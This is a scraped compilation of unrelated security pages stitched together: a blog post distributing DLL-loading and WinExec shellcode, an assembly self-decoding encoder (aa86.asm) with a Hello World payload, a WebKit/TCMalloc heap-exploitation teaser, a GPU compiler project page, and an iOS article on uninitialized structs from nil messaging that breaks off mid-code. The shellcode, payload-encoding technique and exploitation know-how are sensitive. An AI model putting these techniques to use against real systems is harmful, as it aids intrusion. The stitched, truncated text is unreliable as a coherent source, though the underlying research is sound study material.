**ShellCodeMemoryModule**

The DLL-loading shellcode I used in my cmd.xls spreadsheet was generated with
my C-Compiler method. You can download Joachim’s code, converted to shellcode
with this method, here:

Download:

ShellCodeMemoryModule\_V0\_0\_0\_1.zip \(https\)

MD5: CEABB3A8A9A4A507BA19C52EE2CC5DA9

SHA256: 284344C909E623B0406BB38A67F5A7A1AEE2473721244EED52CCEBB8846B0500

The shellcode is in file ShellCodeMemoryModule.exe.bin \(it contains the
shellcode with an appended DLL that displays a MessageBox\).

Finally, after extensive testing of this shellcode, I disassembled it with
ndisasm and optimized it for size \(2297 bytes in stead of 2634 bytes\). But
this step is only necessary if you want assembly code for your shellcode. This
assembly code will be released when I’m done tweaking it <img
src='img/Temp2_7496.gif' alt=';-)' />

**MessageBox Shellcode**

Per request, I release my assembly code I’ve used in my previous blogposts to
display a message box when the injected shellcode gets executed. It’s nothing
special, but it will save you some time when you need a similar program.

Assemble the code with nasm like this:

[code]

    nasm -o sc-mba-hello.bin sc-mba-hello.asm
    
[/code]

I use the DLL locating code published in The Shellcoder’s Handbook, you can
find it in the include file sc-api-functions.asm. MessageBoxA is located in
user32.dll, this dll has to be loaded in the process you’re injecting with sc-
mba-hello.

sc-ods.asm is a similar program, calling OutputDebugStringA in stead of
MessageBoxA.

Download:

my-shellcode\_v0\_0\_2.zip \(https\)

MD5: 324AC5DABA30198C66B58B234D4D8E80

SHA256: E947C6B3087008BFC6B327A8066D29DC4F0D3753032775A3A1B602436FF3EE0E

The shellcode:

<img src='img/Temp2_7495.gif' width='408' height='652' alt='sc-mba-hello' />

**Winexec Shellcode**

Another requested file \(sc-winexec.asm\) was added to my-
shellcode\_v0\_0\_2.zip: shellcode to launch calc.exe via a WinExec call.
After that, the shellcode will exit with a call to ExitThread.

If you want this shellcode to launch another program than calc.exe, edit the
last line of the assembly code to replace calc.exe with the desired program:

[code]

    COMMAND:
            db "calc.exe", 0
    
[/code]

# Understanding the Low Fragmentation Heap

**Created:**| _8/14/2010 10:01:48 AM_  
---|---  
**Updated:**| _8/17/2010 1:30:46 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit papers Hacks Tutorials awesome Heap_  
  

<img src='img/Temp2_8711' /><img src='img/Temp2_8711' />

<img src='img/Temp2_8711' />

# aa86.asm - corkami - reverse engineering experiments and documentations -
Google Project Hosting

**Created:**| _5/11/2011 9:05:03 PM_  
---|---  
**Updated:**| _5/11/2011 9:05:03 PM_  
**Author:**| __  
**Tags:**| _asm_  
  
**Source path:** svn/  trunk/ misc/ aa86.asm |  <img src='img/Temp2_10077.png' />Edit file |  | 
  * ‹r534

| **r539**  
---|---
[/code]

[code]

|  
---
[/code]

[code]

1  
---  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59  
60  
61  
62  
63  
64  
65  
66  
67  
68  
69  
70  
71  
72  
73  
74  
75  
76  
77  
78  
79  
80  
81  
82  
83  
84  
85  
86  
87  
88  
89  
90  
91  
92  
93  
94  
95  
96  
97  
98  
99  
100  
101  
102  
103  
104  
105  
106  
107  
108  
109  
110  
111  
112  
113  
114  
115  
116  
117  
118  
119  
120  
121  
122  
123  
124  
125  
126  
127  
128  
129  
130  
131  
132  
133  
134  
135  
136  
137  
138  
139  
140  
141  
142  
143  
144  
145  
146  
147  
148  
149  
150  
151  
152  
153  
154  
155  
156  
157  
158  
159  
160  
161  
162  
163  
164  
165  
166  
167  
168  
169  
170  
171  
172  
173  
174  
175  
176  
177  
178  
179  
180  
181  
182  
183  
184  
185  
186  
187  
188  
189  
190  
191  
192  
193  
194  
195  
196  
197  
198  
199  
200  
201  
202  
203  
204  
205  
206  
207  
208  
209  
210  
211  
212  
213  
214  
215  
216  
217  
218  
219  
220  
221  
222  
223  
224  
225  
226  
227  
228  
229  
230  
231  
232  
233  
234  
235  
236  
237  
238  
239  
240  
241  
242  
243  
244  
245  
246  
247  
248  
249  
250  
251  
252  
253  
254  
255  
256  
257  
258  
259  
260  
261  
262  
263  
264  
265  
266  
267  
268  
269  
270  
271  
272  
273  
274  
275  
276  
277  
278  
279  
280  
281  
282  
283  
284  
285  
286  
287  
288  
289

[/code]

[code]

---
[/code]

[code]

|  
---
[/code]

[code]

; Assembly rewrite of: AA86 - Symbolic assembler demo
\(http://utf-8.jp/public/sas/\) by Yosuke HASEGAWA  
  
---  
  
  
; the idea behind AA86 is an encoding that recreates any byte from a word made
of symbols  
  
; lodsw  
  
; shl ah, 4  
  
; and al, 0Fh  
  
; or al, ah  
  
; stosb  
  
  
  
; the size itself is encoded on 2 words, to get a value on 1 word  
  
  
  
; during execution of this binary,  
  
; the decoding algorithm is built on the stack, backward, word by word,  
  
; by crafting ax, pushing it with pushad then popping registers to leave a
single word on the stack.  
  
; then it jumps to the stack \(the 'jmp sp' is decoded too\), where the length
is restored, then the decoding loop is performed  
  
  
  
;algorithm built on the stack, word by word:  
  
  
  
; mov si, payload ; be d002  
  
; mov di, start ; bf 0001  
  
  
  
; lodsw ; ad ; size decoding  
  
; nop ; 90  
  
; shl ax, 1 ; d1e0  
  
; shl ax, 1 ; d1e0  
  
; shl ax, 1 ; d1e0  
  
; shl ax, 1 ; d1e0  
  
; and ah, 0F0h ; 80e4 f0  
  
; mov cx, ax ; 89c1  
  
; lodsw ; ad  
  
; and ax, 0F0Fh ; 25 0f0f  
  
; or cx, ax ; 09c1  
  
  
  
;\_loop:  
  
; lodsw ; ad  
  
; shl ah, 1 ; d0e4  
  
; shl ah, 1 ; d0e4  
  
; shl ah, 1 ; d0e4  
  
; shl ah, 1 ; d0e4  
  
; and al, 0Fh ; 24 0f  
  
; or al, ah ; 08e0  
  
; stosb ; aa  
  
; loop \_loop ; e2f0  
  
  
  
; nop ; 90 ; init and eop jump  
  
; mov ax,cx ; 89c8  
  
; mov dx,cx ; 89ca  
  
; mov bx,cx ; 89cb  
  
; mov si,cx ; 89ce  
  
; mov di,cx ; 89cf  
  
; push start ; 68 0001  
  
; ret 3Ch ; c23c00  
  
  
  
; compile with : yasm -o aa86.com aa86.asm  
  
  
  
bits 16  
  
  
  
org 100h  
  
  
  
%macro \_pushax 0  
  
pusha  
  
pop di  
  
pop si  
  
  
  
pop bx  
  
pop si  
  
  
  
pop di  
  
pop si  
  
  
  
pop bp  
  
%endmacro  
  
  
  
start:  
  
and ax, 2240h  
  
and ax, 4022h  
  
sub al, 7eh  
  
sub al, 25h  
  
sub al, 21h  
  
; ax = 003c  
  
\_pushax  
  
  
  
sub ax, 3e3bh  
  
; ax = C201  
  
\_pushax  
  
  
  
and ax, 2122h  
  
sub al, 5eh  
  
sub al, 3ah  
  
; ax = 0068  
  
\_pushax  
  
  
  
sub ax, 7b40h  
  
sub ax, 7b60h  
  
sub ax, 3a3fh  
  
; ax = cf89  
  
  
  
; not sure why that one is slightly different, it could be a \_pushax  
  
pusha  
  
pop di  
  
pop bx  
  
pop si  
  
pop di  
  
pop si  
  
pop bp  
  
pop di  
  
  
  
sub ax, 6060h  
  
sub ax, 6060h  
  
sub ax, 4040h  
  
; ax = cf89  
  
\_pushax  
  
  
  
sub ax, 7e60h  
  
sub ax, 6060h  
  
sub ax, 2440h  
  
; ax = cb89  
  
\_pushax  
  
  
  
sub ax, 6060h  
  
sub ax, 6060h  
  
sub ax, 4040h  
  
; ax = ca89  
  
\_pushax  
  
  
  
sub ax, 7e60h  
  
sub ax, 6060h  
  
sub ax, 2340h  
  
; ax = c889  
  
\_pushax  
  
  
  
sub ax, 7e2bh  
  
sub ax, 7e2fh  
  
sub ax, 3b3fh  
  
; 90f0  
  
\_pushax  
  
  
  
and ax, 7e21h  
  
sub ax, 2d3bh  
  
sub al, 3bh  
  
; e2aa  
  
\_pushax  
  
  
  
sub ax, 2422h  
  
sub ax, 7e40h  
  
sub ax, 6040h  
  
; e008  
  
\_pushax  
  
  
  
sub ax, 5b7bh  
  
sub ax, 3b29h  
  
sub ax, 3a40h  
  
; 0f24  
  
\_pushax  
  
  
  
sub ax, 2a2fh  
  
sub al, 25h  
  
; e4d0 \* 4  
  
\_pushax  
  
\_pushax  
  
\_pushax  
  
\_pushax  
  
  
  
and ax, 2440h  
  
sub ax, 3b40h  
  
sub ax, 3b3fh  
  
; adc1  
  
\_pushax  
  
  
  
sub ax, 7e2fh  
  
sub ax, 2660h  
  
sub al, 23h  
  
; 090f  
  
\_pushax  
  
  
  
sub ax, 7e60h  
  
sub ax, 7b60h  
  
sub al, 2ah  
  
; 0f25  
  
\_pushax  
  
  
  
sub ax, 4040h  
  
sub ax, 2124h  
  
; adc1  
  
\_pushax  
  
  
  
sub ax, 243ah  
  
sub al, 5bh  
  
sub al, 3ch  
  
; 89f0  
  
\_pushax  
  
  
  
sub ax, 7c21h  
  
sub ax, 292eh  
  
sub al, 21h  
  
; e480  
  
\_pushax  
  
  
  
sub ax, 7b40h  
  
sub ax, 6040h  
  
sub ax, 282fh  
  
; e0d1 \* 4  
  
\_pushax  
  
\_pushax  
  
\_pushax  
  
\_pushax  
  
  
  
sub ax, 217bh  
  
sub ax, 2e7bh  
  
sub al, 2eh  
  
; 90ad  
  
\_pushax  
  
  
  
sub ax, 2f7eh  
  
sub ax, 602fh  
  
; 0100  
  
\_pushax  
  
  
  
and ax, 2222h  
  
sub ax, 407dh  
  
and al, 22h  
  
; bf02  
  
\_pushax  
  
  
  
and ax, 4040h  
  
sub ax, 2f21h  
  
sub al, 21h  
  
; d0be  
  
\_pushax  
  
  
  
sub ax, 2a3ah  
  
sub ax, 253dh  
  
; 8147  
  
  
  
pusha ; this time, we specifically set bx, so we don't leave a word on the
stack  
  
pop bx  
  
pop bx  
  
pop bx  
  
pop bx  
  
pop bx  
  
pop bx  
  
pop bx  
  
pop bx  
  
; => bx = 8147  
  
  
  
pusha ; and this time, si  
  
pop si  
  
pop si  
  
pop si  
  
pop si  
  
pop si  
  
; => si = 8147  
  
  
  
sub ax, 2b25h  
  
; ax = 5622  
  
  
  
; we're set to patch the 'jmp sp'  
  
sub \[bx + si + 40h\], ax ; sub \[patchme\], 5622h  
  
  
  
; compensating the previous pusha  
  
pop si  
  
pop si  
  
pop si  
  
  
  
patchme:  
  
dw 3b21h ; => FF E4 jmp sp e4ff = 3b21 - 5622  
  
  
  
payload:  
  
; here is an example of payload:  
  
  
  
dw 4040h, 215fh ; encoded size of 010F  
  
  
  
; encoded Hello world  
  
db 02ch, 028h, 028h, 02ch, 02eh, 028h, 028h, 02dh, 024h, 02bh, 029h, 040h,
02ah, 02bh  
  
db 040h, 021h, 021h, 040h, 02dh, 02ch, 021h, 022h, 028h, 02bh, 040h, 040h,
02ch, 024h, 02dh, 02ch  
  
db 021h, 022h, 028h, 024h, 025h, 026h, 02ch, 026h, 02ch, 026h, 05fh, 026h,
02ch, 022h, 040h, 022h  
  
db 027h, 025h, 05fh, 026h, 022h, 027h, 02ch, 026h, 024h, 026h, 02dh, 040h,
02ah, 040h, 024h, 022h  
  
; original code:  
  
; mov ax, cs ; 8cc8  
  
; mov ds, ax ; 8ed8  
  
; mov ah, 09h ; b4 09  
  
; mov dx, message ; ba 1001  
  
; int 21h ; cd 21  
  
; mov ax, 4c00h ; b8 004c  
  
; int 21h ; cd 21  
  
; message:  
  
; db "Hello, World", 0dh, 0ah, "$" ; 48 65 6C 6C 6F 2C 20 57 6F 72 6C 64 0D 0A
24  
  
  
  
; Ange Albertini, BSD licence, 2011  

[/code]

[code]

---

# gruba: The rise of the undead \(WebKit Heap Exploitation\)

**Created:**| _3/9/2011 11:36:10 AM_  
---|---  
**Updated:**| _3/9/2011 11:36:21 AM_  
**Author:**| __  
**Tags:**| _Exploit web Heap_  
  

### The rise of the undead \(WebKit Heap Exploitation\)

I remember one day Pablo told me, "forget about attacking metadata, that just
wont help you" \(or something along those lines, sorry about the inaccuracy\).  
He was right, as he almost always is, in that case.  
  
Long gone are the days where heap exploitation was all about attacking
\(overwriting\) the internal structures of the heap allocator.  
  
But are they really gone?  
  
It is well known that nowadays, attacking metadata on Windows Heap it is a
real pain in the rear. That's one of the reason most of the current heap
research papers are focused on crafting the heap layout in order to exploit
use-after-free conditions \(there are some great exceptions, like Chris
Valasek's research on the Low Fragmentation Heap\).  
  
But heap overflows are not restricted just to the operating system heap
implementation. There are plenty of custom heap allocators in the world of
Open Source Software and some of them are widely used \(without most of the
people noticing\).  
  
Our research case was TCMalloc. The reason? Mainly because it is used by
WebKit, one of the most popular Web Browser engines out there. WebKit is
responsible of rendering web pages in Chrome, Safari a huge amount of Smart
Phones \(yes Android uses it\).  
I don't like to lie to myself, owning Bas's phone was enough reason to do the
research, the rest was just a bonus.  
  
Understanding the heap allocator \(as usual\) was the first step in the right
direction that drove the whole research to a good end.  
  
TCMalloc is a heap allocator initially designed by Sanjay Ghemawat and Paul
Menage from Google. It was designed with two main premises, speed and multi-
threaded environments. This two premises drove the whole design of all the  
internal structures to be almost lock free \(in order to reduce lock
contention\) and thread local.  
From an attacker perspective, this means that we are going to need to control
a lot of factors if we need to succeed at exploiting vulnerabilities that
involve corruption of information between threads.  
  
The allocator itself it is not complex. It is divided in three main subsystems  

  * Page Allocator
  * Central Cache Allocator
  * Thread Allocator

  
The main place where memory is obtained is at the Page Allocator. This layer
of abstraction deals with the system level memory allocators. It can allocate
memory from several places depending on which operating system you are on. The
options are VirtualAlloc, sbrk, mmap or even /dev/mem.  
At this level, memory is handled in integral multiples of a page. This groups
of pages are called Spans in TCMalloc terminology.  
A global array of list keeps track of each of the span the system has
allocated. This array is indexed by the number of pages the span contains.
That is, page\_heap\_freelist\[N\] will contain a list of free spans of N
pages each.  
There are 256 entries in the page\_heap\_freelist \(this depends if you are
looking at Chrome or Safari, etc.\). Those spans with more than 256 pages are
handled by another free list of what is called a "really large span".  
  
The Spans serves for two main purposes:  

  * to hold a large object
  * to be used by the central cache

  
Memory in multiples of the page size is a little bit inconvenient to use
directly from the application. The Central Cache allocator is in charge of
making those Spans usable by the application.  
The central cache keeps track of the status of spans and also to split the
spans into units that are more manageable by the application.  
To do so, the central heap has an array of free lists indexed by size class.
Each free list contains a set of spans which are spitted into objects of the
corresponding size class.  
Those objects could have been handed directly to the application, but remember
that this allocator is thread oriented, so in order to serve multiple threads,
many of the structures of the Central Heap should be guarded by a lock in
order to prevent races and stuff that we \*do not like\*.  
  
That's the reason why there is another level of abstraction. The Thread Heap
is a per thread structure where the central allocator stores memory chunks.
Because of the nature of per thread structures, there is no need to hold locks
to access them.  
The Thread Cache consists mainly of an array of free lists indexed by size
class. These free lists are populated with objects by the Central Cache
allocator and consumed by each thread that needs some objects.  
  
That is basically how the algorithm and structures are tied together. With an
in-depth understanding of how these subsystems interact we as attackers can
start to make some assumptions about how we can force TCMalloc to be our
bitch^H^H^H^H^H friend.  
  
The next step is too take a look into where all this structures are placed and
how are they connected to each other, but that my friend is something that we
are going to go delve into atInfiltrate \(and Immunity's Masters Class\).  
  
To give the readers a quick glance over what we have been doing lately, here
is a screen-shot of a specially crafted heap layout used by a Canvas exploit
to pwn your browser \(yes, it will \*penetrate\* your phone, your windows and
your fancy Mac\):

  
<img src='img/Temp2_10280.png' />  

  
  
To say the least, the outcome of this research was more than satisfying. From
an attacker perspective, everything started to look exploitable.  
  
Thanks for reading.  
  
EOF

# gpuocelot - A dynamic compilation framework for PTX - Google Project Hosting

**Created:**| _5/2/2011 7:29:18 PM_  
---|---  
**Updated:**| _5/2/2011 7:29:18 PM_  
**Author:**| __  
**Tags:**| _crypto programming awesome GPU_  
  

# Overview

Ocelot is a modular dynamic compilation framework for heterogeneous system,
providing various backend targets for CUDA programs and analysis modules for
the PTX virtual instruction set. **Ocelot currently allows CUDA programs to be
executed on NVIDIA GPUs, AMD GPUs, and x86-CPUs at full speed without
recompilation.**

<img src='img/Temp2_10265.png' alt='GPU Ocelot' />

# News

April 6, 2011 - Release of .deb packages of Ocelot.

February 7, 2011 - Release of versions 2.0.969 and 1.3.967.

September 27, 2010 - Ocelot Tutorial at GTC \(NVIDIA's GPU Technology
Conference\) - slides available

# Contributing

## Documentation

Ocelot currently is lacking good documentation for installation and common
usage. If anyone is interested in writing tutorials or howtos please post on
the mailing list.

## Complete a Feature Request

If you would like to contribute to this project and help with any of the
directions on our roadmap you can do the following:

  1. Pull a task from the list of issues 
  2. Implement it on your own 
  3. Post a patch to the relevant issue 

  * See the requirements for contributing a feature 
  * If it is accepted we will merge it into the main codebase 

  * Ask us about becoming a registered developer 

## Branch Our Code

If you want to work on something not on our roadmap, but want to host your
code on this site, contact us about becoming a developer and creating a
branch.

## Start A New Project

If you want to work independently using Ocelot as a starting point, feel free
to copy our most current release and use it internally.

# Special Thanks

We would like to thank the following people, who have contributed novel ideas,
software, and tests to the project:

  * Nathan Bell 
  * Sylvain Collange 
  * David Luebke 
  * Diogo Sampaio 
  * Ryuta Suzuki 
  * Steve Worley 

# Introduction to GSM

**Created:**| _5/8/2015 3:08:00 PM_  
---|---  
**Updated:**| _5/8/2015 3:08:33 PM_  
**Author:**| __  
**Tags:**| _wireless_  
  
<img src='img/GSM-for-Dummies.pdf' />

# IOActive Labs Research: iOS Security: Objective-C and nil Pointers

**Created:**| _11/7/2012 6:18:13 PM_  
---|---  
**Updated:**| _11/7/2012 6:18:13 PM_  
**Author:**| __  
**Tags:**| _reversing Mac-hacking_  
  

### iOS Security: Objective-C and nil Pointers

  
**_By Shaun Colley_**  
  
  
iOS devices are everywhere now. It seems that pretty much every other person
has one…an iPhone, iPad or iPod touch - and they're rivaled in popularity only
by Android devices.  
  
If you do secure code review, chances are that with the explosion in the
number of iOS apps, you may well have done a source code review of an iOS app,
or at least played around with some Objective-C code. Objective-C can be a
little strange at first for those of us who are used to plain C and C++ \(i.e.
all the square brackets\!\), and even stranger for Java coders, but after a
while most of us realise that the standard iOS programming environment is
packed with some pretty powerful Cocoa APIs, and Objective-C itself actually
has some cool features as well. The runtime supports a number of quirky
features as well, which people tend to learn shortly after the standard
"Hello, World\!" stuff…  
  
Objective-C brings a few of its own concepts and terminology into the mix as
well. Using Objective-C syntax, we might call a simple method taking one
integer parameter like this:  
  
returnVal = \[someObject myMethod:1234\];  
  
In other object-oriented languages like C++ and Java we'd normally just refer
to this as "calling a member function" or "calling a method", or even "calling
a method on an object". However, Objective-C differs slightly in this respect
and as such, you do not call methods - instead, you "send a message to an
object". This concept as a whole is known as 'message passing'.  
  
The net result is the same - the 'myMethod' method associated with
someObject's class is called, but the semantics in how the runtime calls the
method is somewhat different to how a C++ runtime might.  
  
Whenever the ObjC compiler sees a line of code such as "\[someObject
myMethod\]", it inserts a call to one of the objc\_msgSend\(\_XXX\) APIs with
the "receiver" \(someObject\) and the "selector" \("myMethod:"\) as parameters
to the function. This family of functions will, at runtime, figure out which
piece of code needs to be executed bearing in mind the object's class, and
then eventually JMPs to it. This might seem a bit long-winded, but since the
correct method to call is determined at runtime, this is part of how
Objective-C gets its dynamism from.  
  
The call above may end up looking something roughly like this, after the
compiler has dealt with it:  
  
objc\_msgSend\(someObject, "myMethod:", 1234\);  
  
The version of objc\_msgSend that is actually called into depends on the
return type of the method being called, so accordingly there are a few
versions of the interface in the objc\_msgSend family.  
For example, objc\_msgSend\(\) \(for most return types\),
objc\_msgSend\_fpret\(\) \(for floating point return values\), and
objc\_msgSend\_stret\(\), for when the called method returns a struct type.  
  
But what happens if you attempt to message a nil object pointer? Everyone who
plays around with Objective-C code long enough soon realises that calling a
method on a nil object pointer - or, more correctly, "messaging" a nil object
pointer - is perfectly valid. So for example:  
  
someObject = nil;  
\[someObject myMethod\];  
  
is absolutely fine. No segmentation fault - nothing. This is a very deliberate
feature of the runtime, and many ObjC developers in fact use this feature to
their advantage. You may end up with a nil object pointer due to an object
allocation failure \(out of memory\), or some failure to find a substring
inside a larger string, for example…  
  
i.e.  
  
MyClass myObj = \[\[MyClass alloc\] init\]; // out-of-memory conditions give
myObj == nil  
  
In any case, however an object pointer got to be nil, there are certain coding
styles that allow a developer to use this feature perfectly harmlessly, and
even for profit. However, there are also ways that too-liberal use of the
feature can lead to bugs - both functionally and security-wise.  
  
One thing that needs to be considered is, what do objc\_msgSend variants
return if the object pointer was indeed found to be nil? That is, we have have  
  
myObj = nil;  
someVariable = \[myObj someMethod\];  
  
What will someVariable be equal to? Many developers assume it will always be
some form of zero - and often they would be correct - but the true answer
actually depends on the type of value that someMethod is defined to return.
Quoting from Apple's API documentation:  
  
"""  
\- If the method returns any pointer type, any integer scalar of size less
than or equal to sizeof\(void\*\), a float, a double, a long double, or a long
long, then a message sent to nil returns 0.  
  
\- If the method returns a struct, as defined by the OS X ABI Function Call
Guide to be returned in registers, then a message sent to nil returns 0.0 for
every field in the struct. Other struct data types will not be filled with
zeros.  
  
\- If the method returns anything other than the aforementioned value types,
the return value of a message sent to nil is undefined.  
"""  
  
The second line above looks interesting. The rule on the second line deals
with methods that return struct types, for which the objc\_msgSend\(\) variant
called in these cases will be the objc\_msgSend\_stret\(\) interface.. What
the above description is basically saying is, if the struct return type is
larger than the width of the architecture's registers \(i.e. must be returned
via the stack\), if we call a struct-returning method on a nil object pointer,
the ObjC runtime does NOT guarantee that our structure will be zeroed out
after the call. Instead, the contents of the struct are undefined\!  
  
When structures to be "returned" are larger than the width of a register,
objc\_msgSend\_stret\(\) works by writing the return value into the memory
area specified by the pointer passed to objc\_msgSend\_stret\(\). If we take a
look in Apple's ARM implementation of objc\_msgSend\_stret\(\) in the
runtime\[1\], which is coded in pure assembly, we can see how it is indeed
true that the API does nothing to guarantee us a nicely 0-initialized struct
return value:  
  
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\* struct\_type objc\_msgSend\_stret\(id self,  
\* SEL op,  
\* ...\);  
\*  
\* objc\_msgSend\_stret is the struct-return form of msgSend.  
\* The ABI calls for a1 to be used as the address of the structure  
\* being returned, with the parameters in the succeeding registers.  
\*  
\* On entry: a1 is the address where the structure is returned,  
\* a2 is the message receiver,  
\* a3 is the selector  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/  
  
ENTRY objc\_msgSend\_stret  
\# check whether receiver is nil  
teq a2, \#0  
bxeq lr  
  
If the object pointer was nil, the function just exits…no memset\(\)'ing to
zero - nothing, and the "return value" of objc\_msgSend\_stret\(\) in this
case will effectively be whatever was already there in that place on the stack
i.e. uninitialized data.  
  
Although I'll expand more later on the possible security consequences of
getting  
undefined struct contents back, most security people are aware that
undefined/uninitialized data can lead to some interesting security bugs
\(uninitialized pointer dereferences, information leaks, etc\).  
  
So, let's suppose that we have a method 'myMethod' in MyClass, and an object
pointer of type MyClass that is equal to nil, and we accidentally attempt to
call  
the myMethod method on the nil pointer \(i.e. some earlier operation failed\),
we have:  
  
struct myStruct \{  
int myInt;  
int otherInt;  
float myFloat;  
char myBuf\[20\];  
\}  
  
\[ … \]  
  
struct myStruct returnStruct;  
  
myObj = nil;  
returnStruct = \[myObj myMethod\];  
  
Does that mean we should definitely expect returnStruct, if we're running on
our ARM-based iPhone, to be full of uninitialized junk?  
  
Not always. That depends on what compiler you're using, and therefore, in
pragmatic terms, what version of Xcode the iOS app was compiled in.  
  
If the iOS app was compiled in Xcode 4.0 or earlier, where the default
compiler is GCC 4.2\[2\], messaging nil with struct return methods does indeed
result in undefined structure contents, since there is nothing in the runtime
nor the compiler-generated assembly code to zero out the structure in the nil
case.  
  
However, if the app was compiled with LLVM-GCC 4.2 \(Xcode 4.1\) or Apple LLVM
\(circa Xcode 4.2\), the compiler inserts assembly code that does a nil check
followed by a memset\(myStruct, 0x00, sizeof\(\*myStruct\)\) if the object
pointer was indeed nil, adjacent to all objc\_msgSend\_stret\(\) calls.  
  
Therefore, if the app was compiled in Xcode 4.1 or later \(LLVM-GCC 4.2 or
Apple LLVM\), messaging nil is \*guaranteed\* to \*always\* result in zeroed
out structures upon return - so long as the default compiler for that Xcode
release is used.. Otherwise, i.e. Xcode 4.0, the struct contents are
completely undefined.  
  
These two cases become apparent by comparing the disassemblies for calls to
objc\_msgSend\_stret\(\) as generated by 1\) GCC 4.2, and 2\) Apple LLVM. See
the IDA Pro screen dumps below.  
  
**Figure 1** \- objc\_msgSend\_stret\(\) with GCC 4.2  
  

<img src='img/Temp2_4248.png' width='320' height='181' />

  
  
Figure 2 - objc\_msgSend\_stret\(\) with Apple LLVM  
  

<img src='img/Temp2_4249.png' width='320' height='170' />

  
Figure 1 clearly shows objc\_msgSend\_stret\(\) being called whether the
object pointer is nil or not, and upon return from the function memcpy\(\) is
used to copy the "returned" struct data into the place we asked the structure
to be returned to, i.e. our struct on stack. If the object pointer was nil,
objc\_msgSend\_stret\(\) just exits and ultimately this memcpy\(\) ends up
filling our structure with whatever happened to be there on the stack at the
time…  
  
In Figure 2, on the other hand, we see that the ARM 'CBZ' instruction is used
to test the object pointer against 0 \(nil\) before the
objc\_msgSend\_stret\(\) call, with the memset\(\)-to-0 code path instead
being taken if the pointer was indeed nil. This guarantees that in the case of
the objective pointer being nil, the structure will be completely zeroed.  
  
Thus, summed up, any iOS applications released before July 2011 are extremely
likely to be vulnerable, since they were almost certainly compiled with GCC.
Apps built with Xcode 4.1 and up are most likely not vulnerable. But we have
to bear in mind that a great deal of developers in real-world jobs do not
necessarily update their IDE straightaway, regularly, or even at all \(ever
heard of corporate policy?\). By all accounts, it's probable that vulnerable
apps \(i.e. Xcode 4.0\) are still being released on the App Store today.  
  
It's quite easy to experiment with this yourself with a bit of test code.
Let's write some code that demonstrates the entire issue. We can define a
class called HelloWorld, and the class contains one method that returns a
'struct teststruct' value; and the method it simply puts a ton of recognisable
data into an instance of 'teststruct', before returning it. The files in the
class definition look like this:  
  
 _hello.m_  
  
\#import "hello.h"  
  
@implementation HelloWorld  
  
\- \(struct teststruct\)sayHello  
\{  
// NSLog\(@"Hello, world\!\!\n\n"\);  
  
struct teststruct testy;  
testy.testInt = 1337;  
testy.testInt2 = 1338;  
testy.inner.test1 = 1337;  
testy.inner.test2 = 1337;  
  
testy.testInt3 = 1339;  
testy.testInt4 = 1340;  
testy.testInt5 = 1341;  
testy.testInt6 = 1341;  
testy.testInt7 = 1341;  
testy.testInt8 = 1341;  
testy.testInt9 = 1341;  
testy.testInt10 = 1341;  
testy.testFloat = 1337.0;  
testy.testFloat1 = 1338.1;  
testy.testLong1 = 1337;  
testy.testLong2 = 1338;  
  
strcpy\(\(char \*\)&testy.testBuf, "hello world\n"\);  
  
return testy;  
\}  
  
@end  
  
  
_hello.h_  
  
\#import <Foundation/Foundation.h>  
  
@interface HelloWorld : NSObject \{  
// no instance variables  
\}  
  
// methods  
\- \(struct teststruct\)sayHello;  
  
@end  
  
struct teststruct \{  
int testInt;  
int testInt2;  
  
struct \{  
int test1;  
int test2;  
\} inner;  
  
int testInt3;  
int testInt4;  
int testInt5;  
int testInt6;  
int testInt7;  
int testInt8;  
int testInt9;  
int testInt10;  
float testFloat;  
float testFloat1;  
long long testLong1;  
long long testLong2;  
char testBuf\[20\];  
  
\};  
  
We can then write a bit of code in main\(\) that allocates and initializes an
object of class HelloWorld, calls sayHello, and prints the values it received
back. Then, let's set the object pointer to nil, attempt to call sayHello on
the object pointer again, and then print out the values in the structure that
we received that time around. We'll use the following code:  
  
\#import <UIKit/UIKit.h>  
\#import <malloc/malloc.h>  
\#import "AppDelegate.h"  
\#import "hello.h"  
\#import "test.h"  
\#include <stdio.h>  
\#include <stdlib.h>  
  
int main\(int argc, char \*argv\[\]\)  
\{  
struct teststruct testStructure1;  
struct teststruct testStructure2;  
struct teststruct testStructure3;  
struct otherstruct otherStructure;  
  
  
HelloWorld \*hw = \[\[HelloWorld alloc\] init\];  
TestObj \*otherObj = \[\[TestObj alloc\] init\];  
  
testStructure1 = \[hw sayHello\];  
  
/\* what did sayHello return? \*/  
NSLog\(@"\nsayHello returned:\n"\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt2\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt3\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt4\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt5\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt6\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt7\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt8\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt9\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt10\);  
NSLog\(@"testInt = %5.3f\n", testStructure1.testFloat\);  
NSLog\(@"testInt = %5.3f\n", testStructure1.testFloat1\);  
NSLog\(@"testInt = %d\n", testStructure1.testLong1\);  
NSLog\(@"testInt = %d\n", testStructure1.testLong2\);  
NSLog\(@"testBuf = %s\n", testStructure1.testBuf\);  
  
/\* clear the struct again \*/  
memset\(\(void \*\)&testStructure1, 0x00, sizeof\(struct teststruct\)\);  
hw = nil; // nil object ptr  
testStructure1 = \[hw sayHello\]; // message nil  
  
/\* what are the contents of the struct after messaging nil? \*/  
NSLog\(@"\n\nafter messaging nil, sayHello returned:\n"\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt\);  
